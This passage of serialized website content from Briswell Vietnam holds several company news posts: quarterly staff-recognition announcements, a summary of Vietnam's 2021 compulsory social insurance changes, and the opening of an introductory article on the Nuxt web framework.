out.",[438,13448],{"className":13449,"alt":66,"src":13450,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F21145248\u002FIMG_4435-768x886.jpg",[11,13452,13453],{},[20,13454,13455],{},"🏅The first prize",[11,13457,13458,13459],{},"Phan Thanh Hoang - Nodejs Developer ",[51,13460,13405],{},[11,13462,13463],{},[20,13464,13465],{},"🥈The second prize",[11,13467,13468,13469],{},"Nguyen Thi Ngoc Hai - Nodejs Developer ",[51,13470,13471],{},"(Left)",[11,13473,13474],{},"This is not the first time they have appeared on the recognition list – both Mr. Hoang and Ms. Hai also achieved great results in previous quarters. Their hard work and strong efforts have helped them stay at the top in Briswell Vietnam.",[11,13476,13477],{},"Congratulations to Mr. Hoang and Ms. Hai for their great contributions this quarter!",[11,13479,13480],{},"Let’s all keep trying our best and work toward new goals in Quarter 2 and beyond!",{"title":66,"searchDepth":67,"depth":67,"links":13482},[],"2025-05-30","Kicking off a promising year in 2025, Briswell Vietnam continues the tradition of celebrating excellent staff each quarter. In this first quarter, the company is delighted to recognize two exceptional individuals who have not only kept up their good work but also continued to stand out. 🏅The first prize Phan Thanh Hoang – Nodejs Developer (Right) 🥈The second prize Nguyen Thi Ngoc Hai – Nodejs Developer",{},"\u002Fnews\u002Fnhan-vien-xuat-sac-quy-1-nam-2025",{"title":13438,"description":13484},"news\u002Fnhan-vien-xuat-sac-quy-1-nam-2025","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22093850\u002FTitle-Q1.2025.png","ZTj71cv9TOUqB6Pqsw0ZvVtLMT43auRFkCVT_BbLyq8",{"id":13492,"title":13493,"body":13494,"category":69,"created by":4334,"date":13544,"description":13545,"extension":72,"meta":13546,"navigation":74,"path":13547,"sections":76,"seo":13548,"stem":13549,"thumbnail":13550,"__hash__":13551},"content_en\u002Fnews\u002Fnhan-vien-xuat-sac-quy-1-nam-2026.md","Excellent Staff in Quarter 1.2026",{"type":8,"value":13495,"toc":13542},[13496,13499,13502,13505,13509,13515,13521,13524,13530,13536,13539],[11,13497,13498],{},"Our “Excellent Staff in the Quarter” series for 2026 has officially kicked off!",[11,13500,13501],{},"With sincere gratitude for the team’s hard work throughout Quarter 1, Briswell Vietnam is proud to recognize the staff members who have made the most significant and effective contributions.",[11,13503,13504],{},"After a thorough evaluation, we are delighted to congratulate our two outstanding “Stars”:",[438,13506],{"className":13507,"alt":66,"src":13508,"style":444},[441,442],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F05\u002F19171229\u002FQ1.2026-scaled.jpeg",[11,13510,13511,13512],{},"🏅 ",[20,13513,13514],{},"The First Prize",[11,13516,13517,13520],{},[20,13518,13519],{},"Mr. Nguyen Nhat Tam"," - Nodejs Developer (Left)",[11,13522,13523],{},"With exceptional technical expertise and dedication, the top position is a well-deserved recognition of his significant contributions over the past quarter.",[11,13525,13526,13527],{},"🥈 ",[20,13528,13529],{},"The Second Prize",[11,13531,13532,13535],{},[20,13533,13534],{},"Ms. Do Xuan Dieu"," - IT Communicator (Right)",[11,13537,13538],{},"Maintaining impressive performance, Ms. Dieu demonstrates her excellence by once again earning her place on the honor roll.",[11,13540,13541],{},"We hope this positive energy spreads throughout the company, motivating the entire Briswell Vietnam team to break new boundaries and reach even greater milestones in 2026.",{"title":66,"searchDepth":67,"depth":67,"links":13543},[],"2026-06-02","Our “Excellent Staff in the Quarter” series for 2026 has officially kicked off! With sincere gratitude for the team’s hard work throughout Quarter 1, Briswell Vietnam is proud to recognize the staff members who have made the most significant and effective contributions.",{},"\u002Fnews\u002Fnhan-vien-xuat-sac-quy-1-nam-2026",{"title":13493,"description":13545},"news\u002Fnhan-vien-xuat-sac-quy-1-nam-2026","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F05\u002F19171236\u002FTitle-Q1.2026.png","tM7OT72DH14KUgoMPOxeFNhg9TU9mlBbayYWQR_nWLA",{"id":13553,"title":13554,"body":13555,"category":69,"created by":4334,"date":13596,"description":13597,"extension":72,"meta":13598,"navigation":74,"path":13599,"sections":76,"seo":13600,"stem":13601,"thumbnail":13602,"__hash__":13603},"content_en\u002Fnews\u002Fnhan-vien-xuat-sac-quy-2-nam-2024.md","Excellent Staff In Quarter 2.2024",{"type":8,"value":13556,"toc":13594},[13557,13559,13562,13568,13572,13577,13581,13585,13588,13591],[11,13558,13387],{},[11,13560,13561],{},"The company is pleased to honor two staff who have achieved outstanding results in Quarter 2.2024!",[11,13563,13564,212],{},[438,13565],{"className":13566,"alt":66,"src":13567,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F03\u002F20105947\u002FQ2-1024x768.jpg",[11,13569,13570],{},[20,13571,13455],{},[11,13573,13574,13575],{},"Huynh Bui Thanh Nhan - IT Communicator ",[51,13576,13405],{},[11,13578,13579],{},[20,13580,13465],{},[11,13582,13458,13583],{},[51,13584,13471],{},[11,13586,13587],{},"These are two individuals who have made remarkable breakthroughs in the race for the \"Excellent Staff of the Quarter\" title. They have made significant contributions in the quarter, helping to drive the company's overall growth.",[11,13589,13590],{},"Congratulations to Mr. Nhan and Mr. Hoang for their impressive achievements!",[11,13592,13593],{},"Let’s continue striving together and set our sights on even higher goals in the next quarter!",{"title":66,"searchDepth":67,"depth":67,"links":13595},[],"2025-04-08","Welcome back to Briswell Vietnam's “Excellent Staff of the Quarter” series! The company is pleased to honor two staff who have achieved outstanding results in Quarter 2.2024! These are two individuals who have made remarkable breakthroughs in the race for the \"Excellent Staff of the Quarter\" title. They have made significant contributions in the quarter, helping to drive the company's overall growth.",{},"\u002Fnews\u002Fnhan-vien-xuat-sac-quy-2-nam-2024",{"title":13554,"description":13597},"news\u002Fnhan-vien-xuat-sac-quy-2-nam-2024","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F03\u002F20110501\u002FTitle-Q2.png","ZEe0XdgMD0fYTjOttOrEV3V7-0TZ1yTz9jJTzi9pEAI",{"id":13605,"title":13606,"body":13607,"category":69,"created by":4334,"date":13646,"description":13647,"extension":72,"meta":13648,"navigation":74,"path":13649,"sections":76,"seo":13650,"stem":13651,"thumbnail":13652,"__hash__":13653},"content_en\u002Fnews\u002Fnhan-vien-xuat-sac-quy-2-nam-2025.md","Excellent Staff in Quarter 2.2025",{"type":8,"value":13608,"toc":13644},[13609,13612,13616,13621,13625,13629,13634,13638,13641],[11,13610,13611],{},"In Quarter 2.2025, Briswell Vietnam proudly recognizes the outstanding efforts and contributions of our team members. Notably, two individuals stood out for their impressive achievements and dedication to the company’s projects.",[11,13613,13614],{},[20,13615,13455],{},[11,13617,13618,13619],{},"Le Ngoc Khanh - Software Engineer ",[51,13620,13405],{},[438,13622],{"className":13623,"alt":66,"src":13624,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F11\u002F28132245\u002FQ2-2025-1-1024x1536.jpg",[11,13626,13627],{},[20,13628,13465],{},[11,13630,13631,13632],{},"Nguyen Ngoc Chinh - Nodejs Developer ",[51,13633,13405],{},[438,13635],{"className":13636,"alt":66,"src":13637,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F11\u002F28132255\u002FQ2-2025-2-1024x1536.jpg",[11,13639,13640],{},"After a long time, Mr. Khanh made a strong comeback to reclaim the top position. At the same time, Mr. Chinh was honored with the 2nd prize for the first time, marking an important milestone in his career.",[11,13642,13643],{},"Quarter 3 is approaching with many new opportunities. Let’s keep up the momentum and strive together to reach new goals!",{"title":66,"searchDepth":67,"depth":67,"links":13645},[],"2025-12-05","In Quarter 2.2025, Briswell Vietnam proudly recognizes the outstanding efforts and contributions of our team members. Notably, two individuals stood out for their impressive achievements and dedication to the company’s projects. 🏅The first prize Le Ngoc Khanh – Software Engineer (Right) 🥈The second prize Nguyen Ngoc Chinh – Nodejs Developer (Right) After a long time, Mr. Khanh made a strong comeback to reclaim the top position",{},"\u002Fnews\u002Fnhan-vien-xuat-sac-quy-2-nam-2025",{"title":13606,"description":13647},"news\u002Fnhan-vien-xuat-sac-quy-2-nam-2025","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F11\u002F28132326\u002FTitle-Q2.2025.png","kDH4dLsmbsrNTHnMDDlVCHS-F4ZoQVr1LCrPyBaFBnc",{"id":13655,"title":13656,"body":13657,"category":69,"created by":4334,"date":13694,"description":13695,"extension":72,"meta":13696,"navigation":74,"path":13697,"sections":76,"seo":13698,"stem":13699,"thumbnail":13700,"__hash__":13701},"content_en\u002Fnews\u002Fnhan-vien-xuat-sac-quy-3-nam-2024.md","Excellent Staff in Quarter 3.2024",{"type":8,"value":13658,"toc":13692},[13659,13662,13665,13669,13674,13678,13682,13686,13689],[11,13660,13661],{},"The \"Excellent Staff of the Quarter\" series of Briswell Vietnam is back!",[11,13663,13664],{},"In this Quarter 3.2024, we have two new outstanding staff that rose above all others and gained the title “Excellent Staff of the Quarter”. They are:",[11,13666,13667],{},[20,13668,13455],{},[11,13670,13671,13672],{},"Le Van Dong - Nodejs Developer ",[51,13673,13405],{},[11,13675,13676],{},[20,13677,13465],{},[11,13679,13468,13680],{},[51,13681,13471],{},[438,13683],{"className":13684,"alt":66,"src":13685,"style":1098},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F03\u002F20110007\u002FQ3-768x807.png",[11,13687,13688],{},"Congratulations to our shining stars - Mr. Đồng and Ms. Hải! They have had an impressive quarter of work.",[11,13690,13691],{},"Let’s keep moving forward in the next quarter!",{"title":66,"searchDepth":67,"depth":67,"links":13693},[],"2025-04-14","The \"Excellent Staff of the Quarter\" series of Briswell Vietnam is back! In this Quarter 3.2024, we have two new outstanding staff that rose above all others and gained the title “Excellent Staff of the Quarter”. Congratulations to our shining stars - Mr. Đồng and Ms. Hải! They have had an impressive quarter of work. Let’s keep moving forward in the next quarter!",{},"\u002Fnews\u002Fnhan-vien-xuat-sac-quy-3-nam-2024",{"title":13656,"description":13695},"news\u002Fnhan-vien-xuat-sac-quy-3-nam-2024","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F03\u002F20110507\u002FTitle-Q3.png","LfAA99yjCLz3ieqVRDSVgy4k8Y3RnFMOM0W5n5F636o",{"id":13703,"title":13704,"body":13705,"category":69,"created by":4334,"date":13746,"description":13747,"extension":72,"meta":13748,"navigation":74,"path":13749,"sections":76,"seo":13750,"stem":13751,"thumbnail":13752,"__hash__":13753},"content_en\u002Fnews\u002Fnhan-vien-xuat-sac-quy-3-nam-2025.md","Excellent Staff in Quarter 3.2025",{"type":8,"value":13706,"toc":13744},[13707,13710,13713,13717,13722,13726,13730,13734,13738,13741],[11,13708,13709],{},"As Quarter 3.2025 comes to a close, Briswell Vietnam continues our tradition of celebrating staff who have made outstanding contributions to their work.",[11,13711,13712],{},"This quarter, the company is proud to honor two excellent team members.",[11,13714,13715],{},[20,13716,13455],{},[11,13718,13719,13720],{},"Nguyen Nhat Tam - Nodejs Developer ",[51,13721,13471],{},[438,13723],{"className":13724,"alt":66,"src":13725,"style":1098},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F11\u002F28132318\u002FQ3_2025-2-1468x1536.jpg",[11,13727,13728],{},[20,13729,13465],{},[11,13731,13631,13732],{},[51,13733,13405],{},[438,13735],{"className":13736,"alt":66,"src":13737,"style":1098},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F11\u002F28132306\u002FQ3_2025-1-768x804.jpg",[11,13739,13740],{},"Quarter 3.2025 marks a significant milestone for Mr. Tam, who appears for the first time on the company’s recognition list. Mr. Chinh continues to maintain his excellent performance, earning 2nd Prize once again, following his impressive achievement in Quarter 2.",[11,13742,13743],{},"We hope all team members will continue to strive together and aim for new accomplishments in Quarter 4.",{"title":66,"searchDepth":67,"depth":67,"links":13745},[],"2025-12-11","As Quarter 3.2025 comes to a close, Briswell Vietnam continues our tradition of celebrating staff who have made outstanding contributions to their work. This quarter, the company is proud to honor two excellent team members. 🏅The first prize Nguyen Nhat Tam – Nodejs Developer (Left) 🥈The second prize Nguyen Ngoc Chinh – Nodejs Developer (Right) Quarter 3.2025 marks a significant milestone for Mr. Tam, who appears for the first time on the company’s recognition list. Mr. Chinh continues to maintain his excellent performance, earning 2nd Prize once again, following his impressive achievement in Quarter 2.",{},"\u002Fnews\u002Fnhan-vien-xuat-sac-quy-3-nam-2025",{"title":13704,"description":13747},"news\u002Fnhan-vien-xuat-sac-quy-3-nam-2025","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F11\u002F28132329\u002FTitle-Q3.2025.png","9rONh8zSA2vDgKE2iFMnknDRVwHCbhuWV8bwWtsZaQU",{"id":13755,"title":13756,"body":13757,"category":69,"created by":4334,"date":13793,"description":13794,"extension":72,"meta":13795,"navigation":74,"path":13796,"sections":76,"seo":13797,"stem":13798,"thumbnail":13799,"__hash__":13800},"content_en\u002Fnews\u002Fnhan-vien-xuat-sac-quy-4-nam-2024.md","Excellent Staff In Quarter 4.2024",{"type":8,"value":13758,"toc":13791},[13759,13762,13765,13769,13773,13777,13781,13785,13788],[11,13760,13761],{},"It’s that time again! Briswell Vietnam is excited to bring you another chapter of the “Excellent Staff of the Quarter” series.",[11,13763,13764],{},"This Quarter 4.2024, we will meet two familiar faces again who have continued to demonstrate their outstanding abilities and contributions. Thanks to their continuous work efforts, they have earned the title “Excellent Staff of the Quarter.”",[438,13766],{"className":13767,"alt":66,"src":13768,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F03\u002F20110028\u002FQ4-768x576.png",[11,13770,13771],{},[20,13772,13455],{},[11,13774,13458,13775],{},[51,13776,13405],{},[11,13778,13779],{},[20,13780,13465],{},[11,13782,13468,13783],{},[51,13784,13471],{},[11,13786,13787],{},"Congratulations to Mr. Hoang and Ms. Hai on their remarkable achievements!",[11,13789,13790],{},"Let’s step into the next quarter with enthusiasm and determination!",{"title":66,"searchDepth":67,"depth":67,"links":13792},[],"2025-04-23","It’s that time again! Briswell Vietnam is excited to bring you another chapter of the “Excellent Staff of the Quarter” series. This Quarter 4.2024, we will meet two familiar faces again who have continued to demonstrate their outstanding abilities and contributions. Thanks to their continuous work efforts, they have earned the title “Excellent Staff of the Quarter.” Congratulations to Mr. Hoang and Ms. Hai on their remarkable achievements! Let’s step into the next quarter with enthusiasm and determination!",{},"\u002Fnews\u002Fnhan-vien-xuat-sac-quy-4-nam-2024",{"title":13756,"description":13794},"news\u002Fnhan-vien-xuat-sac-quy-4-nam-2024","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F03\u002F20132336\u002FTitle-Q4.png","wBv1JBgegnxAO3LXFbx2VflCU0fIBzaqUf8xLaW5xPA",{"id":13802,"title":13803,"body":13804,"category":69,"created by":4334,"date":13838,"description":13839,"extension":72,"meta":13840,"navigation":74,"path":13841,"sections":76,"seo":13842,"stem":13843,"thumbnail":13844,"__hash__":13845},"content_en\u002Fnews\u002Fnhan-vien-xuat-sac-quy-4-nam-2025.md","Excellent Staff in Quarter 4.2025",{"type":8,"value":13805,"toc":13836},[13806,13809,13812,13816,13820,13823,13827,13830,13833],[11,13807,13808],{},"As we wrap up the final journey of 2025, it’s time for Briswell Vietnam to recognize our “top warriors” of the Quarter 4.2025!",[11,13810,13811],{},"In this quarter, the company is proud to honor two outstanding members.",[438,13813],{"className":13814,"alt":66,"src":13815,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2026\u002F01\u002F29111417\u002FIMG_8721-1-scaled.jpg",[11,13817,13818],{},[20,13819,13455],{},[11,13821,13822],{},"Phan Thanh Hoang - Nodejs Developer (Right)",[11,13824,13825],{},[20,13826,13465],{},[11,13828,13829],{},"Do Xuan Dieu - IT Communicator (Left)",[11,13831,13832],{},"Congratulations to Mr. Thanh Hoang, who once again demonstrated his strong capability by reclaiming the leading position. In addition, Ms. Xuan Dieu, a promising new member of Briswell, quickly made her mark with strong performance and was honored with the title of second Excellent Staff of Quarter 4.",[11,13834,13835],{},"We hope this spirit of excellence will continue to inspire the Briswell team to work together and achieve even greater success in 2026.",{"title":66,"searchDepth":67,"depth":67,"links":13837},[],"2026-01-30","As we wrap up the final journey of 2025, it’s time for Briswell Vietnam to recognize our “top warriors” of the Quarter 4.2025! In this quarter, the company is proud to honor two outstanding members. 🏅The first prize Phan Thanh Hoang – Nodejs Developer (Right) 🥈The second prize Do Xuan Dieu – IT Communicator (Left) Congratulations to Mr. Thanh Hoang, who once again demonstrated his strong capability by reclaiming the leading position.",{},"\u002Fnews\u002Fnhan-vien-xuat-sac-quy-4-nam-2025",{"title":13803,"description":13839},"news\u002Fnhan-vien-xuat-sac-quy-4-nam-2025","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2026\u002F01\u002F29111942\u002FTitle-Q4.2025.png","JUd73esR_gD3Fk_gQS8ROOh1AxNtsDMkiNtpwXmMdjQ",{"id":13847,"title":13848,"body":13849,"category":69,"created by":243,"date":13927,"description":13853,"extension":72,"meta":13928,"navigation":74,"path":13929,"sections":76,"seo":13930,"stem":13931,"thumbnail":13932,"__hash__":13933},"content_en\u002Fnews\u002Fnhung-diem-moi-ve-bao-hiem-xa-hoi-bat-buoc-ap-dung-tu-01-09-2021.md","NEW POINTS ON COMPULSORY SOCIAL INSURANCE APPLIED FROM 01\u002F09\u002F2021",{"type":8,"value":13850,"toc":13925},[13851,13854,13859,13862,13865,13868,13871,13876,13879,13883,13886,13891,13894,13897,13900,13904,13911,13917],[11,13852,13853],{},"According to Circular 06\u002F2021\u002FTT-BLDTBXH issued by the Ministry of Labour, Invalids and Social Affairs, from 01\u002F09\u002F2021, there will be new regulations with many major changes, affecting compulsory social insurance participants.",[11,13855,13856],{},[20,13857,13858],{},"1. Adjustment of subjects participating in compulsory social insurance",[11,13860,13861],{},"Clause 1, Article 1 of Circular 06\u002F2021 stated:",[11,13863,13864],{},"Persons who work part-time in communes, wards and townships and concurrently enter into labor contracts specified at Points a and b, Clause 1, Article 2 of the Law on Social Insurance, shall participate in compulsory social insurance according to the provisions of the Law on Social Insurance. the subjects specified at Points a and b, Clause one, Article 2 of the Law on Social Insurance.",[11,13866,13867],{},"Thus, if a person who works part-time in a commune, ward or township but also works under a labor contract with a term of from full 1 month to less than three months, he\u002Fshe must participate in social insurance in groups. employees working under contracts.",[11,13869,13870],{},"This is a completely new regulation that has not been mentioned before in Circular No.59\u002F2015\u002FTT-BLDTBXH.",[11,13872,13873],{},[20,13874,13875],{},"2. Sickness benefits when not taking a full month’s leave",[11,13877,13878],{},"According to the provisions at point b, Article 6 of Circular No. 59\u002F2015\u002FTT-BLDTBXH, in case with odd days for incomplete month, the sickness allowance is calculated according to the formula below:",[438,13880],{"className":13881,"alt":66,"src":13882,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F09\u002F20172304\u002FUntitled-1.png",[11,13884,13885],{},"Circular 06\u002F2021 continues to inherit this regulation and adds the maximum amount of the benefit to the regulations at the same time when they calculate it following this formula.",[11,13887,13888],{},[20,13889,13890],{},"3. Changes in salary for calculation of sickness benefits",[11,13892,13893],{},"According to Clause 3, Article 1 of Circular 06, the rate of sickness benefits for employees subject to compulsory social insurance payment who suffers from illness, accidents (not occupational accidents) or has to take time off work to take care of their children under 07 years old for a period of 14 working days or more:",[11,13895,13896],{},"Calculated on the salary of the month preceding their leave on which social insurance premiums are based (previously, it was calculated on the salary of that month on which social insurance premiums are based.).",[11,13898,13899],{},"In case the following months are still sick and have to take leave, the benefit rate is calculated on the salary of the month preceding their leave on which social insurance premiums are based (new addition).",[11,13901,13902],{},[20,13903,1696],{},[11,13905,12284,13906],{},[55,13907,13910],{"href":13908,"rel":13909},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002Fbao-hiem\u002FThong-tu-06-2021-TT-BLDTBXH-sua-doi-Thong-tu-59-2015-TT-BLDTBXH-bao-hiem-xa-hoi-bat-buoc-395417.aspx",[59],"Circular 06\u002F2021\u002FTT-BLDTBXH",[11,13912,12514,13913],{},[55,13914,13916],{"href":2436,"rel":13915},[59],"Law on Social Insurance",[11,13918,13919,13920],{},"3. ",[55,13921,13924],{"href":13922,"rel":13923},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBao-hiem\u002FThong-tu-59-2015-TT-BLDTBXH-huong-dan-Luat-bao-hiem-xa-hoi-ve-bao-hiem-xa-hoi-bat-buoc-299644.aspx",[59],"Circular 59\u002F2015\u002FTT-BLDTBXH",{"title":66,"searchDepth":67,"depth":67,"links":13926},[],"2021-11-30",{},"\u002Fnews\u002Fnhung-diem-moi-ve-bao-hiem-xa-hoi-bat-buoc-ap-dung-tu-01-09-2021",{"title":13848,"description":13853},"news\u002Fnhung-diem-moi-ve-bao-hiem-xa-hoi-bat-buoc-ap-dung-tu-01-09-2021","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F09\u002F20163934\u002FNhungDiemMoiVeBHXHBB0-20210901.png","m_JBjFYtv77Gd8f5sSx1wbj2ORIZonZ944CfLot29fc",{"id":13935,"title":13936,"body":13937,"category":1319,"created by":15217,"date":15218,"description":15219,"extension":72,"meta":15220,"navigation":74,"path":15221,"sections":76,"seo":15222,"stem":15223,"thumbnail":15224,"__hash__":15225},"content_en\u002Fnews\u002Fnuxt-the-intuitive-web-framework.md","Nuxt - The Intuitive Web Framework",{"type":8,"value":13938,"toc":15188},[13939,13941,13944,13947,13951,13957,13963,13969,13975,13981,13987,13993,14005,14011,14015,14059,14063,14066,14071,14075,14080,14090,14100,14114,14123,14133,14139,14145,14151,14161,14171,14177,14187,14195,14201,14210,14223,14229,14235,14241,14247,14253,14259,14265,14269,14275,14278,14284,14290,14293,14299,14305,14325,14329,14335,14338,14344,14347,14353,14356,14362,14365,14372,14378,14385,14388,14391,14397,14401,14405,14411,14418,14424,14430,14436,14439,14448,14451,14457,14461,14468,14474,14478,14484,14490,14493,14497,14504,14531,14537,14541,14547,14551,14557,14563,14567,14570,14576,14579,14585,14589,14592,14598,14602,14605,14611,14615,14618,14624,14628,14634,14641,14647,14650,14654,14660,14668,14674,14680,14693,14698,14705,14711,14716,14723,14726,14729,14735,14741,14749,14766,14772,14778,14785,14791,14796,14803,14808,14811,14815,14818,14824,14829,14835,14841,14844,14849,14852,14858,14863,14904,14909,14923,14926,14932,14940,14945,14948,14954,14957,14963,14966,14972,14975,14981,14986,14989,14995,15000,15003,15009,15014,15023,15026,15032,15035,15041,15045,15048,15051,15057,15060,15066,15069,15075,15078,15084,15086,15089,15094,15117,15122,15139,15142,15146,15158,15162,15170,15172,15178,15183],[403,13940,3631],{"id":3630},[11,13942,13943],{},"Nuxt is an open-source JavaScript framework based on Vue.js. The latest version is currently Nuxt 3. Nuxt 3 is an upgrade from the Nuxt framework based on Vite, Vue 3, and Nitro with support from Typescript.",[11,13945,13946],{},"Nuxt simplifies the development of web applications under Server-side rendering (SSR) and Static Site Generation (SSG) methods, in addition to other methods such as CSR, ISR, ESR, and SWR. Nuxt provides a structured and convention-based approach to building Vue.js applications, allowing developers to focus on developing features instead of dealing with complex configurations.",[403,13948,13950],{"id":13949},"why-use-nuxt","Why use Nuxt?",[11,13952,13953,13956],{},[20,13954,13955],{},"Server-side Rendering (SSR):"," Nuxt enables server-side rendering, which means that the Vue.js components are pre-rendered on the server before being sent to the client. This improves initial page load performance and allows for better search engine optimization (SEO), as search engines can index fully rendered content.",[11,13958,13959,13962],{},[20,13960,13961],{},"Static Site Generation (SSG):"," Nuxt can generate static HTML files at build time, which can be served directly from a CDN or static hosting service. This approach eliminates the need for server-side rendering on each request, resulting in faster page loads and improved scalability.",[11,13964,13965,13968],{},[20,13966,13967],{},"Faster rendering:"," The Vue Virtual DOM (VDOM) has been rewritten from the ground up, allowing for better rendering performance. On top of that, when working with compiled Single-File Components, the Vue compiler can further optimize them at build time by separating static and dynamic markup. This results in faster first rendering (component creation) and updates, and less memory usage. In Nuxt 3, it enables faster server-side rendering as well.",[11,13970,13971,13974],{},[20,13972,13973],{},"Smaller bundle:"," With Vue 3 and Nuxt 3, a focus has been put on bundle size reduction. By implementing the tree-shaking technique, the production environment of the application will exclude Vue's features such as template directives and components that are not used when bundling. This can help reduce file size, download faster, and improve loading time for applications. This way, a minimum Vue 3 application can be reduced to 12 kb gzip compressed.",[11,13976,13977,13980],{},[20,13978,13979],{},"Extensive ecosystem:"," Nuxt has a diverse development ecosystem contributed by the community. You can take advantage of community plugins, modules, and tools to extend and customize your application.",[11,13982,13983,13986],{},[20,13984,13985],{},"Support Typescript:"," Although Nuxt 2 already supports Typescript, Nuxt 3 has improved Typescript support, you can use Type-checking and other tools that Nuxt provides based on Typescript.",[11,13988,13989,13992],{},[20,13990,13991],{},"Simplified development:"," With Convention Over Configuration, Nuxt reduces boilerplate code and simplifies the development process. It comes with built-in features such as routing, code splitting, and state management, enabling you to focus on building your application logic rather than worrying about setup and configuration.",[11,13994,13995,14004],{},[20,13996,13997,13998,507,14001,712],{},"Better ",[20,13999,14000],{},"experience",[20,14002,14003],{},"for developers"," Nuxt offers a robust development environment with features like hot module replacement, automatic reloading, error handling, and more innovative tools like debugging, testing, dev tools, and others. These features streamline the development workflow, allowing for faster iterations and better debugging capabilities.",[11,14006,14007,14010],{},[20,14008,14009],{},"Scalability and performance:"," Nuxt optimizes your application's performance through features like automatic code splitting, lazy loading, and pre-rendering. It ensures that only the necessary JavaScript is loaded for each page, resulting in faster load times and a better user experience. Additionally, Nuxt's modular architecture allows for easy scalability when upgrading your application to higher versions.",[403,14012,14014],{"id":14013},"some-built-in-supported-technologies","Some built-in supported technologies",[203,14016,14017,14024,14031,14038,14045,14052],{},[34,14018,14019],{},[55,14020,14023],{"href":14021,"rel":14022},"https:\u002F\u002Fwebpack.js.org\u002F",[59],"Webpack 5",[34,14025,14026],{},[55,14027,14030],{"href":14028,"rel":14029},"https:\u002F\u002Fvitejs.dev\u002F",[59],"Vite",[34,14032,14033],{},[55,14034,14037],{"href":14035,"rel":14036},"https:\u002F\u002Fnitro.unjs.io\u002F",[59],"Nitro",[34,14039,14040],{},[55,14041,14044],{"href":14042,"rel":14043},"https:\u002F\u002Fvuejs.org\u002F",[59],"Vue 3",[34,14046,14047],{},[55,14048,14051],{"href":14049,"rel":14050},"https:\u002F\u002Frouter.vuejs.org\u002F",[59],"Router 4",[34,14053,14054],{},[55,14055,14058],{"href":14056,"rel":14057},"https:\u002F\u002Fwww.typescriptlang.org\u002F",[59],"Typescript",[403,14060,14062],{"id":14061},"feature-comparison","Feature comparison",[11,14064,14065],{},"In the table below, there is a quick comparison between 3 versions of Nuxt:",[438,14067],{"className":14068,"alt":66,"src":14069,"style":14070},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06143637\u002Ffeature-comparison.png","width: 90%;",[403,14072,14074],{"id":14073},"directory-structure","Directory structure",[438,14076],{"className":14077,"alt":66,"src":14078,"style":14079},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06160101\u002Fdirectory-structure2.png","width: 25%;",[11,14081,14082,14085,14086,14089],{},[20,14083,14084],{},".nuxt:"," Nuxt uses the ",[20,14087,14088],{},"\".nuxt\u002F\""," directory during development to create your Vue application.",[11,14091,14092,14095,14096,14099],{},[20,14093,14094],{},".output:"," Nuxt creates the ",[20,14097,14098],{},"\".output\u002F\""," directory when building your application for the production environment.",[11,14101,14102,14105,14106,14109,14110,14113],{},[20,14103,14104],{},"assets:"," The ",[20,14107,14108],{},"\"assets\u002F\""," directory is used to add all the content of the site that the builder (Webpack or Vite) will process. The folder usually contains the following file types: Stylesheets (CSS, SASS, etc.), Fonts, and images will not be served from the ",[20,14111,14112],{},"\"public\u002F\""," directory.",[11,14115,14116,14105,14119,14122],{},[20,14117,14118],{},"components:",[20,14120,14121],{},"\"components\u002F\""," directory is where you put all your Vue components which can then be imported inside your pages or other components.",[11,14124,14125,14128,14129,14132],{},[20,14126,14127],{},"composables:"," Nuxt 3 uses the ",[20,14130,14131],{},"\"composables\u002F\""," directory to automatically import your Vue composables into your application using 